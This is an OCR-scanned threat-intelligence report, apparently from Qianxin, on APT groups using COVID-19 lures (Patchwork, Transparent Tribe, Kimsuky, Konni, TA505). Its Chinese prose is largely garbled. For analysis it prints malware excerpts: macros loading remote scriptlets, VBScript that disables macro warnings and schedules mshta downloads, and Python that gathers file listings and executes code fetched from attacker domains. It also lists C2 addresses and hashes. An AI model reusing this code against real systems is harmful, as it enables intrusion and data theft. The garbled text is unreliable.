https://ti.gianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

BRERIMERT O

Archived: 2026-04-05 14:44:05 UTC

LS

BAFEYIERSEENLERE , FREFEMERT OELZEIRBITEXFRAERE R, MEEE
FHEARBKRE", REXRUFSAENREREETAEERE. EXMUHEE ZHNNEIHE
%, FroAEM R RRIEARRRMAPT, BFEMNERE , EF—1UFZE.

FEETHIE , FREAMHEANMNZTRISCERT{ERL T AL IEAX MG TIEN ISR , UFE
FES—BSERMAR RIS |, AR,

BEBRT , ARFLTBEADER T H+ > APTEKF AR IEHE XS S SRS TR BT AR
B, Ik T A ERTAREGEYRRS . TEADEFZIAETAENIEES. FEIETHRE
BIMERT O BIMETRERN 2L RART T BT, MFME R R _ERE R XE
EHRIT , AMEEBAR FHARPTEER , T EMEEMELR.

ERIREF , BAVBLEEATTEMMEIRRIRA AT ZERHEIE | 3 RBERIEFRARXEEHITHMLE
WA TN , ERHSEABEMANKRBEEE. APTSREMES. MERRRTIES , PRAEX
B F R TFA D ITAELS.

FEMR

o NBREXNEBHRLEZINELMBRTENRE, ERIEGRYH  BAHREINIESRIRE
REFERTER B ERRAPTHRULMER=HIK , 5120 : iEL. FIE, Sk iR
FE, IIFBAXEENTRIEAREENS KR , ERRBERXABIENS  FHFLZXANE,
A AT AR T TS P4 RE AR LABH T RE 7 Bk

o MERIEBRRNTH , ZLMELILTRRKISE TS, FINFEEETIERNSNE L WKEILIRRE(OE T
BIERREEERYRRS. RITAD, ZRNFEERFNSMIES.

o ENEHROESIMESIE | YATER()BEREREZ WAPTAHR, Bk, MEIEFRALRMA
FFREBRRNIETESF. SINEFTEm AR RNEZRERF , TATHIER T 2 MXTEX
FFFIRFTEA R AR ERMR L EIES). NLRTH RS XTRB R MAE RS RER 1Tk
E  [EERIBNEHMEIE , XNMNEREEFEERETSHNE K.

SEREAEA XA TS
BEMES
B4 A RHTRAESB R TS | IR0 R GAERRAPTLALUN K ML B F=ER kB3 Se R FFAE P 2B

BRIBEEHTRMNE L EES. 1RRER2AFA , BT AABERERTHESRRN , X—HE , &5H8
KRB TES W E BRI X FERRN. MigE2AFa)E , HERETHELETENERA |,

Page 1 of 50



https://ti.qianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

ZMREMZ AT E LY MR RCE , EEshid & N% , B ZKAPTALR, E-HIK. W
ACARALRMAEIF AEE AR E‘]K%‘iﬁd}ﬂlﬂo

T RIAL R AR RS CEEC B A

AR BIRBERTHICOE SR

140
120
100
80
60
40

20

o

i W\ 4
\x'\\_\v\ \\\\'\«\ \\X\"V\WQ\\I’\-\,\W\\“\’»\‘Q\%\ o\q’Qo\q’\ o o\a’\q"’:\\ o Q\ﬁz\'\"&\ﬁ o
&
A+

i
\»\ Q\\\ \& @m\ oy Q\m\ B\ Q\

BEXRT

RIFF RFAMBRAAETRIBHEIMERIIESNEITRE MR TRIMBGEREE H RSNy )i
Tt 8, RETERARETER , MAMXBEEETHDOEERE |, HSEURIBERTX
BRRBEEEH TS, MXAEASKESHIN  “HEMNR”, &iEbE”, RS, EER
& "IARPEFE.

mEIT2A54 , B, BHFERRBERAHNGET |, $332EGTERIMEIE TS |, FIEER
FraEA L FES |, PL” Covid19”, ”Covid”. ”mask”. ”CORONA VIRUS”, ”Coronavirus”, ”"COVID-
9”%1§I|:H{E/uj‘]$o

T RIAL R AR B d & sh AR KA E RIS EAIR = B

HEAL ,\)HSOR\(CORONA%}'JZ{E% %I %ﬁﬂﬂﬂikkIOCOVldlgvlr
%orona virus = Coronamrus
TR

CERCOV I D=19-
COVID19™

Advisories WHOFPH%COVID 17

SARS

wEZ

|~

RS

Page 2 of 50



https://ti.qianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

MAEARREIBARNMR BT P REEXHRIRE |, KA BEE e TEREPEX L
BIBHRAEL BB, HAEERETER. HRRHHEERNE Nday miRMSTRZHEA.
RIE , FBEin B M EDAEDIE.

INK e
(e _EE
2 1F [ am

AR
%

___PE

BN RIS SRR A L

mPE wAndroid = [E5EE w374 wlAR efildE e LNK e HE

ZEENRERIEX

ESRERRMMNERGERRE  FE. XE, ERFFRERIEAENER AT RIER
REERANZEFWX , XS R EEERFA T XEMXEIERITEEE SR RERITE SR
ML S, TERAZRIERXMELERREME  BEBRARIFIERX.

BB RN B R EFHIX 53 A0

Page 3 of 50



https://ti.gianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

TEERAIAPTHIZE=H{k

BT B BB R AT, B EK AR RE R B A s R ERKIR , HiE &
BERRBEERRITAD, TR, $REY . TEMIRAEEENR | IR MRS T
TR A DARR LR EEARDNZ e ME K TEE).

MEZRKAPTALAL A EIRIERR BHIMELEHEK , EEBEBROEANBHY , (XIEBEXETENE
FIXAPTH A EFNFIZFFILE . EWATHEENAPTHHEAMERI 2. IIE TR
T ELE B RERE M TAPTI R R KB ER .

u TA505 = &
12% o

B Konni L] Eim

8%
4% ' 6%
= Kimsuky
6%

ProjectM
10%

40%

" Hades
2%

12%

FEA 11 ] APT Ll 5K L

s EHE «EZ HEN, " EZ=E  wHades ProjectM ®Kimsuky ®Konni mTAS505

BB RBh AT

FRELMREANETRIEMEA B EEHRBAALE , 5k T HABIRBERXMAPTH HSMKILIEELE
EEN. R RN R APTHI AR SRIRAR KA BB S S AN B iR

AP TR BNES

APTITET , BP SR AT B B i, A E [ BT, T8 FAL I E N R BRI R B SR T
)., XHRIESRARRNEHMEAG I B R S AR BENSFN R, fNENTRTREFSES
FPFESRIBSEEN . A BB B BN

B

EEVREEZRZR (APT-C-09) , X#R HangOver, VICEROY TIGER, The Dropping Elephant, Patchwork , 2
—/kE TEIXAIRESN APT 2021 | AR EFFEIEKR T 7 F. BEREA LRFH Norman RE/AF)
T 2013 IR , AR AHMR L] BIFEIBERIHEE AR MmMEs) , B%ALFRBETHERRE
TR NEMZLEXTAR BARAIRE , MR M 2015 FFFIAEINIER., FEREARATEZEXPE. BENE
FW M X E R TG EIEIES) , P RAGTIE BEEAE. MXBEENRETLUEME] 2009 F
1B, EAFAESTER, FE4taPE Kk | WA BB, NI B ST
&, PR EWEAE.

Page 4 of 50



https://ti.qianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

ERIEB AN | ZALREN R RIORITEEWERIFR xIsm”,” DAEE4 . docx” FFEXKE 1T
HESN. [, ZALRNEF IR ER BRIEHITIERAPTALR,

MXBEENT
Wd9-0ls TEEHES - Microsoft Word

Home | et Pagelmout  References Malings
TmesNewRom <11 < A X Aav | % 21T | aagcenc | assbeede AaBbC AaBbcc AQE Aassc
~ie || thomal |1NoSpac. Headngi Headng2  Twe  sustt

past o B L U-aex, x| A-W-A-
Font sty
]
Q SR .RANARE YRR
B BERREMUATRE
SRR THe , FrEREA TIEA R ERIR
15 RAREHEMNBIRRERTRSKERNNARBNIESE, NRFE DRFM
TR AR AR,
ERSIATER: a
AER {FEBEIRIARIETS
%R SATE B8 LFuE
D s omusamestenanls  sml e
]
CARE AERT AL Sbos doais* TH. RENIAAEAIRENTR TS
pRoWES.

- .. :
®id9- o= RMIEATHEBUEEIER - Microsoft Excel == = |
Home | Inset  Pagelajout  Formulas Data  Review  View

% Calibri Tlu AN “
Paste T r
Arlx‘g £ S A $ - o ¢ e i 1 g
Clipboard T Font Alignment Number Styles Cells Editing
1) SecurityWaming  Macros have been disabled. | Enable Content | x
H13 - % v
c D E F G 5|
1
2
: eoo LR L LR L RN
a
5
6
7 R REPHIE, & CBHAAE” UHSHRARR
s
s RIURIT 5 Bl H iR
10
u EHG PERAFRRE (WREE)
12
13
14 AfFE b7 S BN )
15
15 s 21 E1: A s 2] SnrfrE
17
18
19
20
21
2
23
2
25
26
27
23
29 -
W 4 » M| Sheetl /¥J M« [ M ] 3
Ready | |[EOm 0% G——U—— ]

BB AR BT REARNMTFERS & FEESEADHIT

Page 5 of 50



https://ti.qianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

Private Declare PtrSafe Function DllInstall Lib "scrobi.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub XXXXXXXXXXXX ()

DllInstall False, ByVal StrPor(Shestl.Range("X1007).Value)

X100 - (" £ | hitp:/145. Jwindow.sct
1 ] [3 L M N o 3 a [ s T u v w X
100

Sub BBEBBBBBBBBBBBBBB ()

End Sub

Sheetl.Unprotect "nhc_gover”
RXREXREREXRK

End Sub

Sub Workbook Open ()
BESBEBEBBEEE85EE8

End Sub

REVIAR T 34 PatcchWork B HKICNCaT ] , &Gl TR A EFEshell, HEXXH , FTEIHETNEE

v3 = sub_148231C2B(&v41, “"host identifier”);
sub_148232A2C(v3, lpszServerlame);

sub_146228601D(&v43, L"https://185 24/cnc/register™);
sub_146228601D(&v44, L"https://185 24/cnc/tasks/request”);
sub_14822881D(&v45, L"https://185 .24/cnc/tasks/result™);
while ( 1)
{

v168 = 8;

sub_1482311C7(v448, &vas, &va3, &vies, &val);
lpszPassword = sub_148235B37(&v45, &v178, “status");
lpszUserName = lpszPassword;

va32 |= 1lu;

lpszServerName = lpszPassword;

V437 = sub_148227C26(&v46, &u171);

va38 = v437;
v432 |= 2u;
va39 = v437;

LODWORD(v442) = sub_148235E11(lpszServeriame, v437)
&% (v4 = sub_148231C2B(&v45, "status"), sub_148228688(v4, "success"));

lpszPassword = sub_14@8231C2B(vs53, "shell"™);
lpszUserName = lpszPassword;
lpszServeriame = sub_148231C2B(lpszPassword, "ip");
v437 = lpszServerame;
v438 = sub_14823823B(lpszServeriame, &v54);
lpszPassword = sub_14@8231C2B(vs53, "shell"™);
lpszUserName = lpszPassword;
lpszServerName = sub_148231C2B8(1lpszPassword, "port™);
w437 = sub 14823651E(&v55. sub 14822E319. loszServerlame. &vS4):
lpszPassword = sub_148231C2B(v53, "upload_file");
lpszUserName = lpszPassword;
lpszServerName = sub_1462377CF(lpszPassword, &v192, "url");
v437 = lpszServerName;
v438 = lpszServerName;
v439 = sub_148231C2B(v53, "upload file");
w44l = v439;
Va4l = sub_148227C26(v439, &v193);

LOBYTE(v444) = sub_14@235E11(v438, vadl);
w191l = wddd;
sub_14823844D(&v193);
sub_14823844D(&v192);
if ( w19l )
1
sub_148231433(&v56);
lpszPassword = sub_148231C2B(v53, "upload_file");
lpszUserName = lpszPassword;
lpszServeriame = sub_14822AF66(lpszPassword, &v195, “user™);
v437 = lpszServeriame;
v438 = lpszServerName;
v439 = sub_148231C2B(v53, "upload file");
lpszPassword = sub_148231C2B(v53, "download_file");
lpszUserName = lpszPassword;
lpszServeriame = sub_14822AF66(1lpszPassword, &v386, “path™);
v437 = lpszServerName;
v438 = lpszServeriame;
v439 = sub_148231C2B(v53, “"download_file");
w44l = v439;
va4l = sub_148227C26(v439, &v387);
w2 = vadl;
vad3d = wadl;
LOBYTE(v444) = sub_14B235E11(v438, vadl);
w385 = w4dd;
sub_14923p44D(&387);
sub_14823844D(&v386);
if ( w385 )

sub_148231433(&v148);
lpszPassword = sub_148231C2B(vS53, "download_file");
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int _ stdcall _ noreturn wiWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
i

int v4; // eax

char v5; // cl

int v6; // eax

char v7; // cl

HMODULE v8; // eax

char v3; // [esp+Ch] [

CHAR Filename; // [ 1 [ebp-21eh]
char v11; // [esp+118h] [ebp-188h]

sub_4e2F18();
sub_482F18();
sub_4e2F1e();
sub_4e2F1e();
sub_4@2F18();
sub_4@2F10e();
sub_482F18();
sub_4@2F18();
sub_4e2F1e();
sub_4@2F18();
sub_4@2F16();
sub_482F18();
sub_482F18();
sub_4e2F1e();
sub_4@2F18();
sub_4@2F18();
sub_482F18();
sub_482F18();
sub_4e2F1e();
GetModuleFileNameA(@, &Filename, @x184u);
_splitpath(&Filename, &9, &v11, @, 8);

sprintf(byte_4204E@, "¥s¥s", &9, &vil);
vd = @;

do

1

5 = byte_42e4ea[v4];
byte_421D58[vi++] = w53
}
while ( v5 );
ve = @;

do

v7 = byte_4204E0[v5];
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CEDATD20FCDTIC.Visible = False
Selection.WholeStory

Selection.Font.Color = -587137025

Dim CAXsageldZjihST, =sécBrémoNavkFl

Set CAXsgeldZjhST = CreateCbject (ilp7("
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"y

s6cBrémoNavkFl.DATACYPE = ilp7("

s6cBrémoNavkFl.Text = mPculUSxtMZcPkK

Dim M@d11KzocDgb33

Set M@Ad1lKzocDgb33 = CreateCbject (ilp7(
MQd11XzocDgb33.Type = 1
MQd11XzocDgb33.0pen

MQd11KzocDgb33.wrlte sécBrémoNavkFl.NoDEtyPedvAlUe

MQd11KzocDgb33.SaVEtofILe Environ(ilp7(

ChGoUN9, ilp7({

CallByName CreateObject(ilp7("s7

BPITRAD KAcHRS |, B4R T —/ ettt

GAD ARSI , B REICKFIRE
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(intptr_3,

8U, num) == 1)

din

| (1f1

" + unicoc

" + unicodeEncodin

BR IR W WA A FEAE B Hades 2 F,
ProjectM

ProjectM X_#RAPT36, Transparent Tribe,Operation C-Major, £ ME A VBFE SR THAELR , HFE
33 Eh E X # TR T A

FRIEBIMEIRT O ATHEE T ZALRF BB RESE S TR E A,
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0. RedDrip Team @RedDrip7 - 3812H R
(. [ X > . . e .
8”0 / Malicious document, pretending to be from the Government of #India
with health advisory of Coronavirus, seems delivered by #Transparent
Tribe (#ProjectM). Victims are lured to enable macro to execute
#Crimson #RAT payload.

virustotal.com/qui/file/87693...

HEAEEMT
N4 Urgent Encl 1.xIs
MD5 e074c234858d890502c7bb6905f0716e
FIAAR VN
RAT MD5 €262407a5502fa5607ad3b709a73a2e0
c2 107.175.64.209:6728
B =59 http://email.gov.in.maildrive.email/?att=1581914657

ZALME T — N SENER A5 R4 S EARINAIZ A hitp://email gov.in.maildrive.email ' FH{ THEA T &, 3K
REIMEERARFI R, BRARESFESEEEAA
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Microsoft Excel Security Motice @'ﬂ—hj

@ Microsoft Office has identified a potential security concern.

Warning: It is not possible to determine that this content came
from a trustworthy source. You should leave this content disabled
unless the content provides critical functionality and you trust its
source.

File Path: C:\UsersYingdao\Desktop2333.uls

Macros have been disabled. Macros might contain viruses or other security
hazards. Do not enable this content unless you trust the source of this file.

More information

’ Enable Macros ] [ Disable Macros

ERZREESBRIERERXEER

& |= Bookl [Compatibility Mode] - Microsoft Excel (= ) S
Home | Inset  Pagelayout  Formulas  Data  Review  View o @ o=@ 2
S bk Emaee @) ] Roeans S 247 gy
¥ |BZU- E- &-A- = # B ] (]} Cell Styles ~ BlFomat - | 2+ firers Lo

Clipboard 1 Font Alignment Mumber Styles Cells Editing
A4 - A2 The outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently v
A B C D E F G H =
1 HEALTH ADVISORY: CORONA VIRUS
2 1. Traineers & workes from foreign countries attend courses at various
3 indian Establishment and trg Inst.
4 |2. The outbreak of CORONA VIRUS is cause of concern especially where |
5 |forign personal have recently arrived or will be arriving at various Intt in near )
6 |future.
7 3. In order to prevent spread of CORONA VIRUS at Training establishments,
8 preventive measure needs to be taken & advisories is reqt to be circulated to all
9 Instt & Establishments. B
10 4. In view of above,you are requested to issue necessery directions to all
11 concerned Medical Establishments. Treat matter most Urgent.
12

R , MARBEEARDHIT
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Open zip_Aldi_filel For Binary Access Write As #2

Put #2, , btsAldi

Close #2
If Len{Dir{path_Aldi file & "xe")) = @ Then

Call unAldizip [zip Aldi fild, fldr_ Aldi_name)

End If

Shell path_Aldi file & "we™, vbNormalMoFocus

B IR D HProject MR T A D Crimson RAT., BA55fshell , & | FEoIrH | SISHREE |
G RS S T TIE A T TR

Kimsuky

Kimsuky , %!/4% Mystery Baby , Baby Coin , Smoke Screen , Black Banshe, (H{UEBGHRITE S , TE4HT
XEE , BFHTHEES KRR A FEHEEE. HERLAIAAESGrowpl 23FEBNEE,

3RY) , BEZRIETFABR , HEAKE S EHTME R LITERAPT |, Kimsuky B ARSBOT AL
FHl% , A RRIEHERE RN SET T HEEs.
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A RAFEL BRI AE RN T

X% FZLHHPO|2 A T S.doc_ (TERIAFTXTLY )
MD5 a9dac36efd7c99dc5ef8e1bf24c2d747

AN

M

HRETRENNTRRASXEERRAR

Home Insert Page Layout References Mailings Review View Desiagn Layout [~ e
By . ——
& . LA | | FIE
= B Batang oA A A D . AaBbCcDc AaBbCcde AaBbC % #h
Paste ¥ B 7 U -ake x, xX° B A TNormal 7 MNo Spaci.. Headingl |- ggalnqe Ed'E‘"g
< es ™
Clipboard Font ] Paragraph ] Styles [
U Security Warning  Macros have been disabled. ‘ Enable Content ‘ x
iz
-

off Microseit Were

@ Decument creeiaa ih carier version

pelviewithislcenten R ieaselclickiaEnablelEditinggfiom)
thelyellowlbagandithenfclickgEnable]Contents

R |

LUREEBARZE  ELBRRIBRR IR ERZEE
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Home Tnsert Page Layout References Mailings Review  View Design Layout o @
S . |[Batans T C A AT A B AsBbCeDt AsBbced: AaBbC % #
Paste . B 7 U - abe %, X -8 . A o TNormal T NoSpaci.. Headingl |_ Change Ed‘“”D

- - 2l 7| Styles~
Clipboard Font Paragraph “ Styles
iz}
-
- o
IAZLHH[O|2{AZHEE-19 I F|of
2020.2.24 7|Eg@aL
1. BMXY W 22 242 09A))
o BNE| SR 168 (R 6023)
o BAl SIS2DHSAE Foh 223(8) ~ E= S A THA|
o J|1ETe| &1 SZAE RIEMY BRE A2 Had sEH 5)
.
ES
=]
¥

<html>

<script language="VBScript">»
On Error Resume Next:

Set Post® = CreateObject("MSXML2.ServerXMLHTTP.6.8'
Post8.open "GET", ™ http://vnext.mireene.com/theme, ic/skin/member/basic/upload/eweerew.phpler=1",

BB EhaX R ENE . APE. IMER. HFEIR. HEER. MEMRHEE , FHaEit
JIME S E AR E A S AT
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ct("WScript . Shell")
set objFS0-CreateObject("Scripting. File:
foldertmp = wShell.ExpandEnviron

el wELur)t""" /v VBAWarnings /t REG_DHORD /d
D

retu=wShell. run| am exe fc reg add
. * /v VBAMarnings /t RE

0 o
ren a0

7 REG_DHORD /d
/t REG_DWORD /d
/v VBAMarnings /t REG_DWORD /d

sts(fldr) = false) Then

&m0, tr

N ‘..H.&,mw“.u. & true,‘
"SEEmpR" """, 0, true)

T_USER\
CURRENT_USER\Software\Micr 40 ,true)

fCreate /SC MINUTE /MO 5 /ST /TN ""Ac micro FIR “"mshta  Nttp://vnext.mireene.com/theme/basic/skin/member/basic/upload/chkikk. hta /
Replace(tnp, +/ST % /ST "ahan:ran)
retu-uShell. run(impl, B, true)

tu=uShell.run("cnd.exe /c ta

BETRAT , FFR(FLMIHHE BRI Kimsuky F| R IEE S W HEMZEAFA | %45 Apython
CEHASIIMACOSFARHTIREES , W AEET.

N4 COVID-19 and North Korea.docx

MD5 a4388c4d0588cd3d8a607594347663e0

GHATE T RN T —MERRR I, REEITIFE , N NSMREER

http://crphone.mireene.com/plugin/editor/Templates/normal.php?name=web N £ 1578 1.2 7= RIS AU LR IR T

atiol

attac hadTnmpl
ormal . php2?name External®/></

AT SCRS IR AESCASF T I R T AR DARARE N AT Aes it
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Microsoft®

Word 2010

Downloading: http://crphene.mireene.com/plugin/editor/Templates/n...

LaOffice

| -
THXE  FEREERRAR

mnuﬁlymm

Learn about macros

—BREERRECEIXIESERARE  EERBAMEARMACHE , B , ¥ T EEERpythoni
FRAT
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openfurll

Y+ emd + 77

ATEGHLEZITA , BRRERK T eovidlOMKREEURRZEE,

Dear Friends,

As COVID-19 intensifies In the United States and elsewhere, the North Korean response
to the pandemic is fading from the headlines. However, RFI is continuing to monitor
the situation through regular contact with a wide range of information sources on recent
developments, Our latest summary is below.

Are there cases of COVID-19 in North Korea?

Glven the number of reported cases In China and South Korea, which border North
Korea, its hard to Imagine that North Korea is dodging the COVID-19 bullet. North
Korean offidas have not reported cases of COVID-19, perhaps in part because of a lack

A E python AR B X Mo A2 iR 55 25 [Blpy thon AR P T

import os;:

import posixpath;

home dir = posixXpath.expandvars(
normal_dotm = home dir + "/../../..
—f '" + normal_dotm + ):
rmal_dotm,os.O _CREAT | 03.0_RDWR) !

Content.loca .localize

£d = os.ope
import urllib2;

data = urllib2.urlopen(urllib2.Request(’;
os.write(fd, data);

os.close (fd)

exec (urllib2.urlopen(urllib2.Request (' BEEE:// e.miresne.com/pl ditor/Templates/filed

al')).read()

wel')).read())

RA K python AR IE S ARG dn SRR IR | RBUEE , SR , XHFHEEMRFE/Group
Containers/UBF8T346G9.Office/backup.zip
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|def CollectData():
#create work directory
home_dir = posixpath. expandvars:
workdir = home dir + "
os.system(" r(d__ -p "" + workdir +

#get architecture info
ns.system(";"-"“ c 'import platform;print (platform.uname ())"' >> '" + workdir + "/arch.txt'"™)

os. system( Y T illevel basic >> '"™ + workdir + "/basic.txt'"™)

#get process llst

#os.system("ps -ax >> '" + workdir + "/ps.txt'")

#get using app list

os.system("ls -1r5 /Applications >> '" + workdir + "/app.txt'"™)

#get documents file list

os.system("ls -1r5 '" + home dir + "/documents' > '" + workdir + "/documents.txt'")
#get downloads file list

os.system("ls -1r5 '" + home dir + "/downloads' >»> '" + workdir + "/downloads.txt'")
#get desktop file list

oz.system("ls -1r5 '" + home dir + "/desktop' >»> '" + workdir + "/desktop.txt'")
#get volumes info

os.system("1ls -1rs /Volumes >> '" + workdir + "/vol.t=t'™)

#get logged on user list

#os.system(™s -1 >> '" + workdir + "/w_i.txt'")

#zip gathered informations

zipname = home_dir + "/../ /Grn;p Containers/UBFET346G9.0ffice/backup.zip"
os.system("rm -f '" + zipname )

zippass = "doxuj 50gei09213 sa-

zipemd = "zip " 4 zipname + "' '" 4+ workdir + "'"

print(zipcmd)
os.system(zipemd)

ZIER TR ERREENERERS &

MITFE AR 55 2SR BURT A T

def ExecNewCmd():
exec (urllib2.urlopen (urllib2.Request (*Artp://crohone.mireene.con/plugin/sditor/Tenplates/filedown. php?nane=ney")) .read())

F I PN _LIRARH

def SpyvLoop():
while True:
CollectDatal()
ExecHewCmd ()
time.=sleep(300)

KONNI

KonniZBZABHA AR KRB ARILT KWAPTHK , HEET 2] FESTsecurity @i XEXHHT , INAH S5KimsukyZH
LFEERLR,

ERAEHIE , KonnifAZR M1 EKimsuky AR , Konnif I E MBS FIERIT T RBHENKTIE
B, EXMEEWT

Page 23 of 50



https://ti.qianxin.com /blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/

X4 Keep an eye on North Korean cyber.doc

MD5 1a7232ef1386f78e76052827d8f703ae

BAR TR NEENEE |, ATUKRERICovid- 19515 ATH , BSREERAE

Wome | et pageloyout Reterences i
il . YA AT - A
j PMingliy 0 AN A T | asboedc | Aadocede AaBb( AaBbCi AaBb( AaBbCel 4csbccoi AoBbCcD:
aste (B] 7 U -abe x x w.A- EEEE <[l - || TNomal |TNoSpaci.. Headingl Heading2 Tl Subtitie

21 Format painter
Clipboord Font = Par

1) Securty Warming  Macrs hve ben isabled. | _Enable Content

—BREZEEARE , EEAREEMTFE T ITkonnifALRE AN A S I5HSEE 25

SetUnhandledExceptionFilter (ToplevelExceptionFilter);
Sef:"c’. ode(@x8883u) ;

= GetCommandLinew();

= CommandLineToArgvid(v4, &pNumirgs);
if ( plumirgs == 2 )

t
= LoadlibraryW(L"urlmon.d11"};
if ((ve )

&

dword_484A58 = (int)GetProcAddress(ve, "URLDownloadToFileW™);
if ( dword_4@4A58 )
{
sub_4@82E98(0st, @, @x288u);
ExpandEnvirenmentStringsW(L"#windir¥", (LPWSTR)Dst, @xle4u);
sub_4@2E9@(5tringl, @, @x288u);
Buffer = @;
sub_4@2E9@((_ ml28i *)&v13
if ( GetSystemiowb4Directo

@, 8x183u);
A(RBUTfer, @xled4u) )

¥

LstrcatW((LPWSTR)Dst, L"\\sysnative\\cmd.exe");
wsprintfW((LPWSTR)Stringl, L"%s/3.dat"™, v5[1]);
}

else

lstrcatW({LPWSTR)Dst, L \\system32\\cmd exe™);
wsprintfW({LPWSTR)Stringl, L"¥s/2.dat"™, vS[1]);

¥
sub_4682218(Stringl);
sub_482268();
DeleteFilek(L"temp.dat");
sub_4@2E9@(Stringl, @, @x208u);
ExpandEnvironmentStringsW (L"¥TEMPE", (LPWSTR)Stringl, @x184u);
wsprintfA(&CmdLine, "cmd /c expand Hws -F:* \"¥ws\"", L"temp.cab", Stringl);
WinExec (&CmdLine, @);
do
Sleep(@x3E8u);
while ( !DeleteFileW(L"temp.cab™) };
IstrcatW( (LPWSTR)Stringl, L™\\install.bat");
sub_481C88( (LPCWSTR)Dst, (int)stringl);

TA505

TAS50528£3FProofpointfE20174E9 A Bk ds % , HARKIESN T LUBIAZI20144 . SRR T4 XH4RIT
A, AR RS EERHFR A TR TS | FAEREDridex, Locky3 BB AN R 4 HEZ
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EEEHIE |, ZRBREIETAE k2 M EA“COVID-19-FAQ.xls” A4 BBt 3CAS,

Detections Size First seen Lastseen  Submitters
14344F4430B63B15248B6ECTBTOCFE4D3BICBEBF ATFFDBCCEA4153630BC81062
COVID-19-FAQxS . ¥
o s4/61  osrooks | 20200310 2020-03-10 |
& s openfle  exepatiem  handlefle  cve20146352  copyfile  runfile 20:52:30 20:52:30
saveworkbook  macros  exploit wndl  witefle @
13ECT56AEB468F693C0D7ES91188CBCRGB1CET 1FERE2S1COTBIFB6C20BBFE34B
COVID-19-FAQ (2) x! z x ar
o (2)xds 32760 926 50K8 2020-03-10 z.uznnzm B
s openfle  exepattern  handlefle  cve2014.6352  copyfile  rundile 140749 14:07:49
cworkbook  macros explot mndl writefle @
BAEGES31F58DE45720B44CFT1D44857B0154CCAT141F A1 38AFEBISF782300A4F
COVID-19-FAQxs z x co
o s2/60  opegoks | 20200310 2020-03-10 |
& s openfle  exepatiem  handlefle  cve20146352  copyfile  runfile 131154 13:11:54
saveworkbook  macros  exploit wndl  witefle @
CL2848BDA43BIA51CCA24115AB08BBBAF 3A8720D68C43038165ACEC 7660654
COVID-19-FAQ (1) 1l - !
o Q(1)xls 3362 esrsoks | 20200310 2020-03-10 |
& wWls  openfle  exepattem  handlefile  cve2014-6352  copyfile rundile 11:55:55 11:55:55
saveworkbook  macros explot mundl | writefle @
DBOD24E@F 36B35C56F2CDAB4B12CIBE42BATF65191B49D58637B4464745EB2AF
COVID-18-FAQ I . ¥
o xls s3/61  ostaoks | 29200310 2020-03-10
& (xs  runfile  exepattem handlefile  ove20146352  copyfile  opendile 11:45:43 11:45:49

saveworkbook  macros  explot  wundll  witefile @

MABAEEMT

X% MD5

COVID-19-FAQ.xls 501b86caaa8399d508a30cdb07c78453
COVID-19-FAQ.xls 8d172a2eb3d94322b34a2586365eb442

COVID-19-FAQ (2).xIs baef0f7897694a3d2783cef0b19239be

WEHAKARFAAR , TG , FASREERRR

Home | Insert Page Layout Formulas Data Review  View o @@ R
:;. Calibri - AT A %]?9/‘ Si  General - lj ﬂ g ;‘;::‘1: ;:ﬁ ﬁ

Paste - | EE - - = = - o <0 .00 Conditi | Fo it Cell Sort & Find &

g BrEC|ET2A F O s 0 (R e S | Bl @+ Ft S

Clipboard 1= Font [ Alignment = Humber = Styles Cells Editing

1) Security Warning  Macros have been disabled. | Enable Content | x
Al - £ v
A [ 8B | ¢ [ o [ E [ F [ & [ w1 37 T« T I mJ[n~NTo P o

1

2 Microsoft® : S, H

B E!!'.l D Document created using the application not
— ;

I+ { 'Ja OI I |ICe related to Microsoft Office.

15 »

(o

7

|81

=R

| 10|

|11

| 12|

|13

[14]

% For viewing/editing, perform the following steps:

% Click Enable editing button from the yellow bar above

% Once you have enabled editing, please click Enable content

[21] button from the yellow bar above

| 22|

| 23|

[2]

CREN Page2 ¥J 14 T} (20|

Ready | [Eom w0 ® |

SEERBRE , BRI EENHELERRRESE | X-5TAS05Z BIHIESIZEMN
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Home | Insert  Pagelayout  Formulas  Data  Review  View @@ =

= ) | Seinsert - .
B * Calibri oAy S B S General - ij,‘ % @ insert~ | ’? lﬁ
- Ea ™ Delete ~
Paste B I U- - A =0 - 8, 3 | %@ .98 | Conditional Format Cell Sort& Find &
- = =3 VD W0 Eomatting - as Table - styles - | £ Format - .2' Filter = Select -
Clipboard 1 Font G Alignment G Number 5 Styles Cells Editing
- fe | =EMBED("Packager shell Object”,")
A 8 c D E F G H 1 1 K L M N o 2

Co i

D M'cmmfta Document created using the application not

1

2

3

a s

: O I I |Ce related to Microsoft Office.
13

7

8

9

Microsoft Office Components

[ Please wait while Windows configures Microseft Office 64-bit
Components 2013

Gathering required information

1  e—|

For viewing/editing, perform the following steps:
Click Enable editing button from the yellow bar above

20 Once you have enabled editing, please click Enable content
o button from the yellow bar above

26
14 b M| Page2 /3 [14 i (30|

=— ol TR e m

RIS, EEADIERMERIT , WETEIEERXEEIEMR S35

g = gvs4;
basic_stringcwchar_t,std: :char_traits<wchar_t>,std: :allocator<wchar_t>>::basic_string<wchar_t,std: :char_traits<wchar_t>,std: :allocator<wchar_t>>(
113/5.6 (Windows NT 6.1; Winéd; x54) AppleMWebKit/537.36 (KHTML, like Gecko) Chrome/79.6.3945.136 Safari/537.36");

= 480
omputeriianeExi(ComputerianePhysicalbnsFullyQualified, &8uffer, &nsize); |
Ve = sidischar_traitscuchar o langen(L =)
sub_108@6C71 (L™ oy
i tr‘)ng(w:har t,std

char_traitscwchar_t>,std: :allocator<wchar_t>>::basic_stringcwchar_t,std: :char_traits<wchar_t>,std: :allocator<wchar_t>>(&Buffer);

LDBVTE( 9 3;

sub_10006D16(11, B, OXFFFFFFFF);

std::basic_stringowchar_t,std::char_traits<wchar_t>,std::allocater<wchar_t>»i:_Tidy(&v94, 1, 0);
5

) -1
stringawchar_t, std: :char_traits<wchar_t>,std: :allocator<wchar_t>>::_Tidy(&v105, 1, 8);

riamenl (&
std:icha Escuchor_t>: :length ("8
